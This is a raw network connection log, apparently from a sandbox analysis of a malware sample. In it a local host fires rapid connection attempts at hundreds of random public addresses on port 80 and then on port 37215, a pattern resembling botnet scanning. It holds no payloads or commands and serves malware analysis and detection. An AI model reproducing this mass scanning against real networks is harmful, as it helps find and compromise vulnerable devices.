Oct 14, 2024 17:30:12.905950069 CEST	53274	80	192.168.2.14	130.11.154.118
Oct 14, 2024 17:30:12.905953884 CEST	53274	80	192.168.2.14	106.35.231.17
Oct 14, 2024 17:30:12.905966043 CEST	53274	80	192.168.2.14	35.105.243.131
Oct 14, 2024 17:30:12.905971050 CEST	53274	80	192.168.2.14	32.14.4.0
Oct 14, 2024 17:30:12.905977011 CEST	53274	80	192.168.2.14	36.49.79.144
Oct 14, 2024 17:30:12.905977011 CEST	53274	80	192.168.2.14	62.50.71.28
Oct 14, 2024 17:30:12.905987978 CEST	53274	80	192.168.2.14	57.252.57.18
Oct 14, 2024 17:30:12.905992031 CEST	53274	80	192.168.2.14	80.69.2.153
Oct 14, 2024 17:30:12.906001091 CEST	53274	80	192.168.2.14	40.81.248.14
Oct 14, 2024 17:30:12.906008959 CEST	53274	80	192.168.2.14	135.172.173.179
Oct 14, 2024 17:30:12.906018019 CEST	53274	80	192.168.2.14	76.123.233.65
Oct 14, 2024 17:30:12.906025887 CEST	53274	80	192.168.2.14	220.207.138.213
Oct 14, 2024 17:30:12.906027079 CEST	53274	80	192.168.2.14	159.127.123.21
Oct 14, 2024 17:30:12.906030893 CEST	53274	80	192.168.2.14	103.30.82.71
Oct 14, 2024 17:30:12.906035900 CEST	53274	80	192.168.2.14	112.7.186.191
Oct 14, 2024 17:30:12.906043053 CEST	53274	80	192.168.2.14	53.26.5.155
Oct 14, 2024 17:30:12.906054974 CEST	53274	80	192.168.2.14	116.141.212.239
Oct 14, 2024 17:30:12.906055927 CEST	53274	80	192.168.2.14	61.240.137.53
Oct 14, 2024 17:30:12.906059027 CEST	53274	80	192.168.2.14	110.58.68.168
Oct 14, 2024 17:30:12.906059027 CEST	53274	80	192.168.2.14	212.104.49.134
Oct 14, 2024 17:30:12.906064034 CEST	53274	80	192.168.2.14	223.87.250.108
Oct 14, 2024 17:30:12.906088114 CEST	53274	80	192.168.2.14	200.231.214.84
Oct 14, 2024 17:30:12.906088114 CEST	53274	80	192.168.2.14	100.139.41.66
Oct 14, 2024 17:30:12.906088114 CEST	53274	80	192.168.2.14	84.34.123.42
Oct 14, 2024 17:30:12.906095028 CEST	53274	80	192.168.2.14	116.16.134.174
Oct 14, 2024 17:30:12.906111002 CEST	53274	80	192.168.2.14	91.231.41.219
Oct 14, 2024 17:30:12.906119108 CEST	53274	80	192.168.2.14	145.22.231.97
Oct 14, 2024 17:30:12.906119108 CEST	53274	80	192.168.2.14	196.160.162.77
Oct 14, 2024 17:30:12.906128883 CEST	53274	80	192.168.2.14	213.140.183.116
Oct 14, 2024 17:30:12.906131029 CEST	53274	80	192.168.2.14	184.141.20.66
Oct 14, 2024 17:30:12.906141996 CEST	53274	80	192.168.2.14	174.142.208.103
Oct 14, 2024 17:30:12.906150103 CEST	53274	80	192.168.2.14	155.6.123.34
Oct 14, 2024 17:30:12.906153917 CEST	53274	80	192.168.2.14	70.102.222.193
Oct 14, 2024 17:30:12.906164885 CEST	53274	80	192.168.2.14	70.184.43.37
Oct 14, 2024 17:30:12.906166077 CEST	53274	80	192.168.2.14	208.143.47.60
Oct 14, 2024 17:30:12.906167030 CEST	53274	80	192.168.2.14	62.122.132.115
Oct 14, 2024 17:30:12.906177998 CEST	53274	80	192.168.2.14	181.94.56.236
Oct 14, 2024 17:30:12.906186104 CEST	53274	80	192.168.2.14	83.145.65.46
Oct 14, 2024 17:30:12.906188011 CEST	53274	80	192.168.2.14	17.25.13.175
Oct 14, 2024 17:30:12.906194925 CEST	53274	80	192.168.2.14	198.7.175.221
Oct 14, 2024 17:30:12.906194925 CEST	53274	80	192.168.2.14	160.135.181.177
Oct 14, 2024 17:30:12.906203032 CEST	53274	80	192.168.2.14	166.42.72.134
Oct 14, 2024 17:30:12.906209946 CEST	53274	80	192.168.2.14	8.9.77.83
Oct 14, 2024 17:30:12.906215906 CEST	53274	80	192.168.2.14	59.99.109.83
Oct 14, 2024 17:30:12.906219959 CEST	53274	80	192.168.2.14	196.211.82.201
Oct 14, 2024 17:30:12.906230927 CEST	53274	80	192.168.2.14	73.94.172.15
Oct 14, 2024 17:30:12.906240940 CEST	53274	80	192.168.2.14	17.180.194.11
Oct 14, 2024 17:30:12.906241894 CEST	53274	80	192.168.2.14	115.188.197.103
Oct 14, 2024 17:30:12.906241894 CEST	53274	80	192.168.2.14	99.39.86.205
Oct 14, 2024 17:30:12.906249046 CEST	53274	80	192.168.2.14	157.97.182.58
Oct 14, 2024 17:30:12.906261921 CEST	53274	80	192.168.2.14	103.0.101.16
Oct 14, 2024 17:30:12.906263113 CEST	53274	80	192.168.2.14	133.93.48.236
Oct 14, 2024 17:30:12.906265974 CEST	53274	80	192.168.2.14	80.100.41.26
Oct 14, 2024 17:30:12.906282902 CEST	53274	80	192.168.2.14	43.55.225.52
Oct 14, 2024 17:30:12.906282902 CEST	53274	80	192.168.2.14	182.58.247.10
Oct 14, 2024 17:30:12.906289101 CEST	53274	80	192.168.2.14	32.247.30.111
Oct 14, 2024 17:30:12.906291008 CEST	53274	80	192.168.2.14	128.90.161.230
Oct 14, 2024 17:30:12.906307936 CEST	53274	80	192.168.2.14	113.83.239.227
Oct 14, 2024 17:30:12.906311035 CEST	53274	80	192.168.2.14	27.79.174.198
Oct 14, 2024 17:30:12.906327963 CEST	53274	80	192.168.2.14	31.85.62.176
Oct 14, 2024 17:30:12.906332970 CEST	53274	80	192.168.2.14	181.219.187.210
Oct 14, 2024 17:30:12.906343937 CEST	53274	80	192.168.2.14	113.55.17.68
Oct 14, 2024 17:30:12.906343937 CEST	53274	80	192.168.2.14	140.56.221.226
Oct 14, 2024 17:30:12.906352043 CEST	53274	80	192.168.2.14	39.242.13.190
Oct 14, 2024 17:30:12.906366110 CEST	53274	80	192.168.2.14	8.76.8.168
Oct 14, 2024 17:30:12.906368971 CEST	53274	80	192.168.2.14	194.162.219.49
Oct 14, 2024 17:30:12.906373024 CEST	53274	80	192.168.2.14	40.241.71.93
Oct 14, 2024 17:30:12.906373024 CEST	53274	80	192.168.2.14	65.90.227.138
Oct 14, 2024 17:30:12.906393051 CEST	53274	80	192.168.2.14	204.110.218.114
Oct 14, 2024 17:30:12.906395912 CEST	53274	80	192.168.2.14	121.236.128.149
Oct 14, 2024 17:30:12.906402111 CEST	53274	80	192.168.2.14	137.34.63.93
Oct 14, 2024 17:30:12.906407118 CEST	53274	80	192.168.2.14	223.137.225.139
Oct 14, 2024 17:30:12.906416893 CEST	53274	80	192.168.2.14	91.236.185.167
Oct 14, 2024 17:30:12.906418085 CEST	53274	80	192.168.2.14	48.102.39.38
Oct 14, 2024 17:30:12.906418085 CEST	53274	80	192.168.2.14	138.164.6.12
Oct 14, 2024 17:30:12.906430006 CEST	53274	80	192.168.2.14	1.154.122.248
Oct 14, 2024 17:30:12.906435966 CEST	53274	80	192.168.2.14	206.47.42.31
Oct 14, 2024 17:30:12.906443119 CEST	53274	80	192.168.2.14	144.33.133.232
Oct 14, 2024 17:30:12.906450033 CEST	53274	80	192.168.2.14	43.204.155.118
Oct 14, 2024 17:30:12.906454086 CEST	53274	80	192.168.2.14	65.137.239.41
Oct 14, 2024 17:30:12.906466007 CEST	53274	80	192.168.2.14	159.213.16.169
Oct 14, 2024 17:30:12.906478882 CEST	53274	80	192.168.2.14	101.168.252.156
Oct 14, 2024 17:30:12.906487942 CEST	53274	80	192.168.2.14	67.90.97.9
Oct 14, 2024 17:30:12.906496048 CEST	53274	80	192.168.2.14	59.150.62.186
Oct 14, 2024 17:30:12.906497955 CEST	53274	80	192.168.2.14	54.101.170.221
Oct 14, 2024 17:30:12.906512022 CEST	53274	80	192.168.2.14	77.140.85.22
Oct 14, 2024 17:30:12.906512976 CEST	53274	80	192.168.2.14	5.111.63.242
Oct 14, 2024 17:30:12.906523943 CEST	53274	80	192.168.2.14	178.59.24.146
Oct 14, 2024 17:30:12.906527042 CEST	53274	80	192.168.2.14	108.68.202.210
Oct 14, 2024 17:30:12.906532049 CEST	53274	80	192.168.2.14	80.197.100.171
Oct 14, 2024 17:30:12.906532049 CEST	53274	80	192.168.2.14	191.97.200.127
Oct 14, 2024 17:30:12.906543970 CEST	53274	80	192.168.2.14	86.59.54.159
Oct 14, 2024 17:30:12.906558037 CEST	53274	80	192.168.2.14	129.235.4.81
Oct 14, 2024 17:30:12.906765938 CEST	37098	80	192.168.2.14	62.176.2.9
Oct 14, 2024 17:30:12.909401894 CEST	80	53274	32.112.182.187	192.168.2.14
Oct 14, 2024 17:30:12.909420013 CEST	80	53274	180.247.236.221	192.168.2.14
Oct 14, 2024 17:30:12.909434080 CEST	80	53274	99.221.191.117	192.168.2.14
Oct 14, 2024 17:30:12.909468889 CEST	53274	80	192.168.2.14	32.112.182.187
Oct 14, 2024 17:30:12.909480095 CEST	53274	80	192.168.2.14	180.247.236.221
Oct 14, 2024 17:30:12.909488916 CEST	53274	80	192.168.2.14	99.221.191.117
Oct 14, 2024 17:30:12.910058975 CEST	80	53274	1.180.11.169	192.168.2.14
Oct 14, 2024 17:30:12.910073996 CEST	80	53274	50.13.188.185	192.168.2.14
Oct 14, 2024 17:30:12.910087109 CEST	80	53274	73.68.77.91	192.168.2.14
Oct 14, 2024 17:30:12.910103083 CEST	80	53274	27.116.106.43	192.168.2.14
Oct 14, 2024 17:30:12.910114050 CEST	53274	80	192.168.2.14	1.180.11.169
Oct 14, 2024 17:30:12.910125017 CEST	80	53274	116.219.149.39	192.168.2.14
Oct 14, 2024 17:30:12.910135031 CEST	53274	80	192.168.2.14	50.13.188.185
Oct 14, 2024 17:30:12.910135984 CEST	53274	80	192.168.2.14	73.68.77.91
Oct 14, 2024 17:30:12.910135984 CEST	53274	80	192.168.2.14	27.116.106.43
Oct 14, 2024 17:30:12.910139084 CEST	80	53274	138.223.185.200	192.168.2.14
Oct 14, 2024 17:30:12.910152912 CEST	80	53274	145.191.228.220	192.168.2.14
Oct 14, 2024 17:30:12.910160065 CEST	53274	80	192.168.2.14	116.219.149.39
Oct 14, 2024 17:30:12.910166979 CEST	80	53274	66.78.157.143	192.168.2.14
Oct 14, 2024 17:30:12.910175085 CEST	53274	80	192.168.2.14	138.223.185.200
Oct 14, 2024 17:30:12.910190105 CEST	80	53274	132.22.216.91	192.168.2.14
Oct 14, 2024 17:30:12.910190105 CEST	53274	80	192.168.2.14	145.191.228.220
Oct 14, 2024 17:30:12.910197973 CEST	53274	80	192.168.2.14	66.78.157.143
Oct 14, 2024 17:30:12.910203934 CEST	80	53274	126.142.29.166	192.168.2.14
Oct 14, 2024 17:30:12.910218000 CEST	80	53274	46.248.77.186	192.168.2.14
Oct 14, 2024 17:30:12.910223007 CEST	53274	80	192.168.2.14	132.22.216.91
Oct 14, 2024 17:30:12.910232067 CEST	80	53274	177.155.252.229	192.168.2.14
Oct 14, 2024 17:30:12.910243988 CEST	80	53274	132.22.42.189	192.168.2.14
Oct 14, 2024 17:30:12.910257101 CEST	80	53274	131.83.57.127	192.168.2.14
Oct 14, 2024 17:30:12.910269022 CEST	53274	80	192.168.2.14	126.142.29.166
Oct 14, 2024 17:30:12.910276890 CEST	80	53274	42.187.72.39	192.168.2.14
Oct 14, 2024 17:30:12.910278082 CEST	53274	80	192.168.2.14	46.248.77.186
Oct 14, 2024 17:30:12.910279989 CEST	53274	80	192.168.2.14	177.155.252.229
Oct 14, 2024 17:30:12.910289049 CEST	80	53274	211.4.233.175	192.168.2.14
Oct 14, 2024 17:30:12.910296917 CEST	80	53274	167.247.107.8	192.168.2.14
Oct 14, 2024 17:30:12.910300970 CEST	53274	80	192.168.2.14	131.83.57.127
Oct 14, 2024 17:30:12.910305977 CEST	80	53274	75.21.254.222	192.168.2.14
Oct 14, 2024 17:30:12.910309076 CEST	80	53274	122.121.147.195	192.168.2.14
Oct 14, 2024 17:30:12.910310030 CEST	80	53274	99.66.2.103	192.168.2.14
Oct 14, 2024 17:30:12.910311937 CEST	80	53274	98.180.146.102	192.168.2.14
Oct 14, 2024 17:30:12.910315990 CEST	53274	80	192.168.2.14	132.22.42.189
Oct 14, 2024 17:30:12.910316944 CEST	53274	80	192.168.2.14	42.187.72.39
Oct 14, 2024 17:30:12.910324097 CEST	53274	80	192.168.2.14	211.4.233.175
Oct 14, 2024 17:30:12.910327911 CEST	80	53274	35.49.19.57	192.168.2.14
Oct 14, 2024 17:30:12.910330057 CEST	53274	80	192.168.2.14	167.247.107.8
Oct 14, 2024 17:30:12.910337925 CEST	53274	80	192.168.2.14	122.121.147.195
Oct 14, 2024 17:30:12.910341024 CEST	80	53274	52.157.112.181	192.168.2.14
Oct 14, 2024 17:30:12.910346985 CEST	53274	80	192.168.2.14	99.66.2.103
Oct 14, 2024 17:30:12.910346985 CEST	53274	80	192.168.2.14	75.21.254.222
Oct 14, 2024 17:30:12.910356045 CEST	53274	80	192.168.2.14	98.180.146.102
Oct 14, 2024 17:30:12.910356045 CEST	80	53274	205.33.20.156	192.168.2.14
Oct 14, 2024 17:30:12.910361052 CEST	53274	80	192.168.2.14	35.49.19.57
Oct 14, 2024 17:30:12.910371065 CEST	80	53274	134.141.2.173	192.168.2.14
Oct 14, 2024 17:30:12.910376072 CEST	53274	80	192.168.2.14	52.157.112.181
Oct 14, 2024 17:30:12.910386086 CEST	80	53274	113.111.122.241	192.168.2.14
Oct 14, 2024 17:30:12.910391092 CEST	53274	80	192.168.2.14	205.33.20.156
Oct 14, 2024 17:30:12.910401106 CEST	80	53274	109.16.205.91	192.168.2.14
Oct 14, 2024 17:30:12.910413980 CEST	80	53274	183.137.177.188	192.168.2.14
Oct 14, 2024 17:30:12.910427094 CEST	80	53274	5.212.157.201	192.168.2.14
Oct 14, 2024 17:30:12.910429001 CEST	53274	80	192.168.2.14	113.111.122.241
Oct 14, 2024 17:30:12.910430908 CEST	53274	80	192.168.2.14	134.141.2.173
Oct 14, 2024 17:30:12.910440922 CEST	80	53274	49.77.177.136	192.168.2.14
Oct 14, 2024 17:30:12.910440922 CEST	53274	80	192.168.2.14	109.16.205.91
Oct 14, 2024 17:30:12.910454988 CEST	80	53274	143.75.33.142	192.168.2.14
Oct 14, 2024 17:30:12.910459042 CEST	53274	80	192.168.2.14	183.137.177.188
Oct 14, 2024 17:30:12.910469055 CEST	80	53274	209.211.24.151	192.168.2.14
Oct 14, 2024 17:30:12.910480022 CEST	53274	80	192.168.2.14	5.212.157.201
Oct 14, 2024 17:30:12.910482883 CEST	80	53274	24.149.125.4	192.168.2.14
Oct 14, 2024 17:30:12.910495996 CEST	80	53274	39.211.242.205	192.168.2.14
Oct 14, 2024 17:30:12.910495996 CEST	53274	80	192.168.2.14	49.77.177.136
Oct 14, 2024 17:30:12.910496950 CEST	53274	80	192.168.2.14	143.75.33.142
Oct 14, 2024 17:30:12.910510063 CEST	80	53274	177.154.31.23	192.168.2.14
Oct 14, 2024 17:30:12.910522938 CEST	80	53274	71.28.144.14	192.168.2.14
Oct 14, 2024 17:30:12.910527945 CEST	53274	80	192.168.2.14	209.211.24.151
Oct 14, 2024 17:30:12.910528898 CEST	53274	80	192.168.2.14	39.211.242.205
Oct 14, 2024 17:30:12.910527945 CEST	53274	80	192.168.2.14	24.149.125.4
Oct 14, 2024 17:30:12.910535097 CEST	80	53274	166.134.112.27	192.168.2.14
Oct 14, 2024 17:30:12.910550117 CEST	80	53274	150.79.56.85	192.168.2.14
Oct 14, 2024 17:30:12.910550117 CEST	53274	80	192.168.2.14	177.154.31.23
Oct 14, 2024 17:30:12.910562992 CEST	80	53274	97.55.108.151	192.168.2.14
Oct 14, 2024 17:30:12.910563946 CEST	53274	80	192.168.2.14	71.28.144.14
Oct 14, 2024 17:30:12.910576105 CEST	80	53274	111.27.28.114	192.168.2.14
Oct 14, 2024 17:30:12.910588980 CEST	53274	80	192.168.2.14	150.79.56.85
Oct 14, 2024 17:30:12.910589933 CEST	80	53274	152.51.178.59	192.168.2.14
Oct 14, 2024 17:30:12.910603046 CEST	53274	80	192.168.2.14	166.134.112.27
Oct 14, 2024 17:30:12.910603046 CEST	53274	80	192.168.2.14	97.55.108.151
Oct 14, 2024 17:30:12.910609961 CEST	80	53274	154.230.225.91	192.168.2.14
Oct 14, 2024 17:30:12.910619974 CEST	80	53274	92.126.227.190	192.168.2.14
Oct 14, 2024 17:30:12.910621881 CEST	53274	80	192.168.2.14	111.27.28.114
Oct 14, 2024 17:30:12.910629034 CEST	80	53274	187.123.216.241	192.168.2.14
Oct 14, 2024 17:30:12.910634995 CEST	53274	80	192.168.2.14	152.51.178.59
Oct 14, 2024 17:30:12.910638094 CEST	80	53274	154.79.79.161	192.168.2.14
Oct 14, 2024 17:30:12.910648108 CEST	80	53274	142.12.239.141	192.168.2.14
Oct 14, 2024 17:30:12.910655975 CEST	80	53274	210.102.156.19	192.168.2.14
Oct 14, 2024 17:30:12.910655975 CEST	53274	80	192.168.2.14	92.126.227.190
Oct 14, 2024 17:30:12.910656929 CEST	53274	80	192.168.2.14	154.230.225.91
Oct 14, 2024 17:30:12.910665989 CEST	80	53274	132.192.237.0	192.168.2.14
Oct 14, 2024 17:30:12.910667896 CEST	80	53274	61.162.51.66	192.168.2.14
Oct 14, 2024 17:30:12.910670042 CEST	80	53274	129.241.36.235	192.168.2.14
Oct 14, 2024 17:30:12.910671949 CEST	80	53274	57.211.166.3	192.168.2.14
Oct 14, 2024 17:30:12.910677910 CEST	53274	80	192.168.2.14	154.79.79.161
Oct 14, 2024 17:30:12.910679102 CEST	53274	80	192.168.2.14	187.123.216.241
Oct 14, 2024 17:30:12.910681009 CEST	80	53274	167.84.136.223	192.168.2.14
Oct 14, 2024 17:30:12.910682917 CEST	80	53274	201.98.170.129	192.168.2.14
Oct 14, 2024 17:30:12.910686016 CEST	80	53274	27.111.3.201	192.168.2.14
Oct 14, 2024 17:30:12.910693884 CEST	53274	80	192.168.2.14	142.12.239.141
Oct 14, 2024 17:30:12.910693884 CEST	53274	80	192.168.2.14	210.102.156.19
Oct 14, 2024 17:30:12.910706043 CEST	53274	80	192.168.2.14	61.162.51.66
Oct 14, 2024 17:30:12.910713911 CEST	80	53274	128.56.93.162	192.168.2.14
Oct 14, 2024 17:30:12.910715103 CEST	53274	80	192.168.2.14	129.241.36.235
Oct 14, 2024 17:30:12.910722971 CEST	53274	80	192.168.2.14	57.211.166.3
Oct 14, 2024 17:30:12.910722971 CEST	53274	80	192.168.2.14	167.84.136.223
Oct 14, 2024 17:30:12.910731077 CEST	53274	80	192.168.2.14	132.192.237.0
Oct 14, 2024 17:30:12.910731077 CEST	53274	80	192.168.2.14	27.111.3.201
Oct 14, 2024 17:30:12.910731077 CEST	53274	80	192.168.2.14	201.98.170.129
Oct 14, 2024 17:30:12.910738945 CEST	80	53274	57.113.61.137	192.168.2.14
Oct 14, 2024 17:30:12.910746098 CEST	80	53274	138.13.111.152	192.168.2.14
Oct 14, 2024 17:30:12.910753965 CEST	80	53274	129.165.235.4	192.168.2.14
Oct 14, 2024 17:30:12.910762072 CEST	53274	80	192.168.2.14	128.56.93.162
Oct 14, 2024 17:30:12.910763979 CEST	80	53274	132.112.73.10	192.168.2.14
Oct 14, 2024 17:30:12.910765886 CEST	80	53274	143.42.244.86	192.168.2.14
Oct 14, 2024 17:30:12.910773993 CEST	80	53274	67.211.250.137	192.168.2.14
Oct 14, 2024 17:30:12.910775900 CEST	53274	80	192.168.2.14	138.13.111.152
Oct 14, 2024 17:30:12.910783052 CEST	80	53274	125.124.107.124	192.168.2.14
Oct 14, 2024 17:30:12.910785913 CEST	80	53274	165.100.128.52	192.168.2.14
Oct 14, 2024 17:30:12.910785913 CEST	53274	80	192.168.2.14	57.113.61.137
Oct 14, 2024 17:30:12.910799026 CEST	53274	80	192.168.2.14	132.112.73.10
Oct 14, 2024 17:30:12.910799026 CEST	53274	80	192.168.2.14	129.165.235.4
Oct 14, 2024 17:30:12.910809040 CEST	53274	80	192.168.2.14	143.42.244.86
Oct 14, 2024 17:30:12.910814047 CEST	53274	80	192.168.2.14	67.211.250.137
Oct 14, 2024 17:30:12.910823107 CEST	53274	80	192.168.2.14	125.124.107.124
Oct 14, 2024 17:30:12.910830021 CEST	53274	80	192.168.2.14	165.100.128.52
Oct 14, 2024 17:30:12.910890102 CEST	80	53274	43.144.26.150	192.168.2.14
Oct 14, 2024 17:30:12.910912991 CEST	80	53274	50.106.16.4	192.168.2.14
Oct 14, 2024 17:30:12.910927057 CEST	80	53274	203.184.30.201	192.168.2.14
Oct 14, 2024 17:30:12.910939932 CEST	80	53274	68.172.194.231	192.168.2.14
Oct 14, 2024 17:30:12.910943031 CEST	53274	80	192.168.2.14	43.144.26.150
Oct 14, 2024 17:30:12.910953045 CEST	80	53274	129.216.209.83	192.168.2.14
Oct 14, 2024 17:30:12.910960913 CEST	53274	80	192.168.2.14	203.184.30.201
Oct 14, 2024 17:30:12.910967112 CEST	80	53274	164.184.14.78	192.168.2.14
Oct 14, 2024 17:30:12.910979033 CEST	80	53274	36.223.109.139	192.168.2.14
Oct 14, 2024 17:30:12.910989046 CEST	53274	80	192.168.2.14	68.172.194.231
Oct 14, 2024 17:30:12.910989046 CEST	53274	80	192.168.2.14	50.106.16.4
Oct 14, 2024 17:30:12.910991907 CEST	80	53274	148.143.81.14	192.168.2.14
Oct 14, 2024 17:30:12.910996914 CEST	53274	80	192.168.2.14	129.216.209.83
Oct 14, 2024 17:30:12.910996914 CEST	53274	80	192.168.2.14	164.184.14.78
Oct 14, 2024 17:30:12.911005020 CEST	80	53274	74.95.117.83	192.168.2.14
Oct 14, 2024 17:30:12.911011934 CEST	53274	80	192.168.2.14	36.223.109.139
Oct 14, 2024 17:30:12.911060095 CEST	53274	80	192.168.2.14	74.95.117.83
Oct 14, 2024 17:30:12.911072969 CEST	53274	80	192.168.2.14	148.143.81.14
Oct 14, 2024 17:30:12.911113024 CEST	80	53274	121.205.167.169	192.168.2.14
Oct 14, 2024 17:30:12.911127090 CEST	80	53274	4.56.203.217	192.168.2.14
Oct 14, 2024 17:30:12.911139011 CEST	80	53274	59.136.227.64	192.168.2.14
Oct 14, 2024 17:30:12.911151886 CEST	80	53274	75.73.120.61	192.168.2.14
Oct 14, 2024 17:30:12.911154985 CEST	53274	80	192.168.2.14	121.205.167.169
Oct 14, 2024 17:30:12.911164045 CEST	80	53274	74.179.36.31	192.168.2.14
Oct 14, 2024 17:30:12.911176920 CEST	53274	80	192.168.2.14	59.136.227.64
Oct 14, 2024 17:30:12.911178112 CEST	80	53274	186.201.170.93	192.168.2.14
Oct 14, 2024 17:30:12.911185980 CEST	53274	80	192.168.2.14	4.56.203.217
Oct 14, 2024 17:30:12.911190987 CEST	80	53274	154.156.35.197	192.168.2.14
Oct 14, 2024 17:30:12.911195993 CEST	53274	80	192.168.2.14	75.73.120.61
Oct 14, 2024 17:30:12.911212921 CEST	80	53274	142.127.221.53	192.168.2.14
Oct 14, 2024 17:30:12.911217928 CEST	53274	80	192.168.2.14	74.179.36.31
Oct 14, 2024 17:30:12.911221981 CEST	80	53274	167.47.29.169	192.168.2.14
Oct 14, 2024 17:30:12.911223888 CEST	53274	80	192.168.2.14	186.201.170.93
Oct 14, 2024 17:30:12.911231995 CEST	80	53274	20.43.31.24	192.168.2.14
Oct 14, 2024 17:30:12.911242008 CEST	80	53274	199.242.193.221	192.168.2.14
Oct 14, 2024 17:30:12.911242962 CEST	53274	80	192.168.2.14	154.156.35.197
Oct 14, 2024 17:30:12.911251068 CEST	53274	80	192.168.2.14	142.127.221.53
Oct 14, 2024 17:30:12.911251068 CEST	80	53274	82.20.107.230	192.168.2.14
Oct 14, 2024 17:30:12.911259890 CEST	80	53274	52.189.198.209	192.168.2.14
Oct 14, 2024 17:30:12.911268950 CEST	53274	80	192.168.2.14	20.43.31.24
Oct 14, 2024 17:30:12.911268950 CEST	80	53274	150.10.119.33	192.168.2.14
Oct 14, 2024 17:30:12.911278009 CEST	53274	80	192.168.2.14	167.47.29.169
Oct 14, 2024 17:30:12.911283970 CEST	80	53274	112.131.34.37	192.168.2.14
Oct 14, 2024 17:30:12.911295891 CEST	53274	80	192.168.2.14	82.20.107.230
Oct 14, 2024 17:30:12.911298037 CEST	80	53274	190.105.158.118	192.168.2.14
Oct 14, 2024 17:30:12.911303997 CEST	53274	80	192.168.2.14	52.189.198.209
Oct 14, 2024 17:30:12.911312103 CEST	80	53274	167.194.0.152	192.168.2.14
Oct 14, 2024 17:30:12.911315918 CEST	53274	80	192.168.2.14	199.242.193.221
Oct 14, 2024 17:30:12.911320925 CEST	53274	80	192.168.2.14	112.131.34.37
Oct 14, 2024 17:30:12.911325932 CEST	80	53274	212.46.85.64	192.168.2.14
Oct 14, 2024 17:30:12.911339998 CEST	80	53274	121.134.229.148	192.168.2.14
Oct 14, 2024 17:30:12.911340952 CEST	53274	80	192.168.2.14	150.10.119.33
Oct 14, 2024 17:30:12.911340952 CEST	53274	80	192.168.2.14	167.194.0.152
Oct 14, 2024 17:30:12.911343098 CEST	53274	80	192.168.2.14	190.105.158.118
Oct 14, 2024 17:30:12.911353111 CEST	80	53274	159.200.6.252	192.168.2.14
Oct 14, 2024 17:30:12.911359072 CEST	53274	80	192.168.2.14	212.46.85.64
Oct 14, 2024 17:30:12.911365986 CEST	80	53274	42.172.82.246	192.168.2.14
Oct 14, 2024 17:30:12.911377907 CEST	80	53274	4.158.178.48	192.168.2.14
Oct 14, 2024 17:30:12.911389112 CEST	53274	80	192.168.2.14	121.134.229.148
Oct 14, 2024 17:30:12.911422968 CEST	53274	80	192.168.2.14	159.200.6.252
Oct 14, 2024 17:30:12.911422968 CEST	53274	80	192.168.2.14	42.172.82.246
Oct 14, 2024 17:30:12.911444902 CEST	53274	80	192.168.2.14	4.158.178.48
Oct 14, 2024 17:30:12.914598942 CEST	53014	37215	192.168.2.14	156.90.211.100
Oct 14, 2024 17:30:12.914601088 CEST	43346	37215	192.168.2.14	197.191.40.105
Oct 14, 2024 17:30:12.914601088 CEST	36868	37215	192.168.2.14	156.122.156.234
Oct 14, 2024 17:30:12.914602041 CEST	42730	37215	192.168.2.14	41.75.55.34
Oct 14, 2024 17:30:12.914608955 CEST	41612	37215	192.168.2.14	41.82.44.220
Oct 14, 2024 17:30:12.914609909 CEST	42818	37215	192.168.2.14	156.114.83.128
Oct 14, 2024 17:30:12.914611101 CEST	56622	37215	192.168.2.14	197.81.193.4
Oct 14, 2024 17:30:12.914613008 CEST	35978	37215	192.168.2.14	197.189.90.118
Oct 14, 2024 17:30:12.914611101 CEST	44918	37215	192.168.2.14	41.181.174.89
Oct 14, 2024 17:30:12.914618969 CEST	58600	37215	192.168.2.14	156.240.13.10
Oct 14, 2024 17:30:12.914618969 CEST	37022	37215	192.168.2.14	41.117.14.132
Oct 14, 2024 17:30:12.914618969 CEST	51248	37215	192.168.2.14	197.5.25.240
Oct 14, 2024 17:30:12.914618969 CEST	35198	37215	192.168.2.14	41.186.23.230
Oct 14, 2024 17:30:12.914618969 CEST	43608	37215	192.168.2.14	197.196.113.15
Oct 14, 2024 17:30:12.914624929 CEST	48358	37215	192.168.2.14	156.117.71.214
Oct 14, 2024 17:30:12.914633036 CEST	50980	37215	192.168.2.14	156.7.30.134
Oct 14, 2024 17:30:12.914638996 CEST	34568	37215	192.168.2.14	197.190.41.77
Oct 14, 2024 17:30:12.914639950 CEST	58446	37215	192.168.2.14	156.32.173.245
Oct 14, 2024 17:30:12.914639950 CEST	49414	37215	192.168.2.14	156.91.224.77
Oct 14, 2024 17:30:12.914643049 CEST	56458	37215	192.168.2.14	156.121.120.45
Oct 14, 2024 17:30:12.914655924 CEST	44206	37215	192.168.2.14	197.40.153.124
Oct 14, 2024 17:30:12.914653063 CEST	47410	37215	192.168.2.14	41.213.98.36
Oct 14, 2024 17:30:12.914655924 CEST	46568	37215	192.168.2.14	156.30.1.246
Oct 14, 2024 17:30:12.914666891 CEST	36774	37215	192.168.2.14	156.202.80.210
Oct 14, 2024 17:30:12.914666891 CEST	43412	37215	192.168.2.14	41.64.166.169
Oct 14, 2024 17:30:12.914669037 CEST	37608	37215	192.168.2.14	156.202.124.131
Oct 14, 2024 17:30:12.914671898 CEST	42782	37215	192.168.2.14	197.52.195.128
Oct 14, 2024 17:30:12.914674044 CEST	44942	37215	192.168.2.14	156.34.134.165
Oct 14, 2024 17:30:12.914674044 CEST	51726	37215	192.168.2.14	197.103.135.46
Oct 14, 2024 17:30:12.914675951 CEST	36258	37215	192.168.2.14	41.11.179.231
Oct 14, 2024 17:30:12.914675951 CEST	36342	37215	192.168.2.14	197.189.46.236
Oct 14, 2024 17:30:12.914675951 CEST	55726	37215	192.168.2.14	156.129.200.128
Oct 14, 2024 17:30:12.914683104 CEST	41880	37215	192.168.2.14	197.126.70.145
Oct 14, 2024 17:30:12.914685011 CEST	57208	37215	192.168.2.14	41.70.218.139
Oct 14, 2024 17:30:12.914690971 CEST	59740	37215	192.168.2.14	41.189.67.95
Oct 14, 2024 17:30:12.914690971 CEST	60734	37215	192.168.2.14	41.236.157.95
Oct 14, 2024 17:30:12.914694071 CEST	52978	37215	192.168.2.14	41.233.92.155
Oct 14, 2024 17:30:12.914694071 CEST	35778	37215	192.168.2.14	197.30.235.2
Oct 14, 2024 17:30:12.914694071 CEST	50464	37215	192.168.2.14	156.201.158.201
Oct 14, 2024 17:30:12.914695024 CEST	37526	37215	192.168.2.14	41.119.242.119
Oct 14, 2024 17:30:12.914704084 CEST	46910	37215	192.168.2.14	156.151.106.3
Oct 14, 2024 17:30:12.914710045 CEST	35480	37215	192.168.2.14	156.135.175.247
Oct 14, 2024 17:30:12.914712906 CEST	50900	37215	192.168.2.14	41.73.113.241
Oct 14, 2024 17:30:12.914725065 CEST	55782	37215	192.168.2.14	41.253.185.240
